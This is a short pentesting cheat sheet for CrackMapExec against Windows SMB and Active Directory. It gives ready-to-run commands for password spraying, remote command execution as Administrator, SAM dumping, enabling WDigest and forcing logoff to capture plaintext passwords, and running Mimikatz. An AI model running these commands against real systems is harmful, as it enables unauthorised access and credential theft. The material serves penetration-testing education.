Using Crackmapexec

Crackmapexec is a one-stop tool for pentesting Windows and Active Directory. It contains all the tools and commands explained in the previous section and more. Some of the things that the tools is capable of doing are enumerating SMB shares, users and groups, spraying passwords, auto-injecting Mimikatz/shellcode/DLL into memory, etc.

Username & Password Spraying

Crackmapexec can be used to guess the username and password to an SMB service,

crackmapexec smb 192.168.1.10 -u username.txt -p password.txt

Enumerating SMB Info

Various information can be enumerated from the SMB service such as the users, groups, shares, etc.

crackmapexec smb 192.168.1.10 -u 'user' -p 'PASS' --users

#Substitute the parameter with any of the following to fetch the respective info,
--groups --local-users --rid-brute "--local-auth --shares" --sessions --lusers --pass-pol

Remote Code Execution (RCE)

#Through CMD Prompt
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x 'whoami' 

#Through SMB Exec
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' -x 'net user Administrator /domain' --exec-method smbexec

#Through Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X 'whoami'

Enumerating Credentials

crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' --local-auth --sam

You can enable wdigest on the system and get the plain password using the following command,

crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' --local-auth --wdigest enable

In order to get wdigest active the user has to logout and login back, which can be forced by the following command,

crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' -x 'quser'
crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' -x 'logoff <sessionid>'

Using Mimikatz

crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' --local-auth -M mimikatz
crackmapexec smb 192.168.1.10 -u 'Administrator' -p 'PASS' -M mimikatz
crackmapexec smb 192.168.1.10 -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'

Useful Links

https://stealthbits.com/blog/20170725lateral-movement-with-crackmapexec/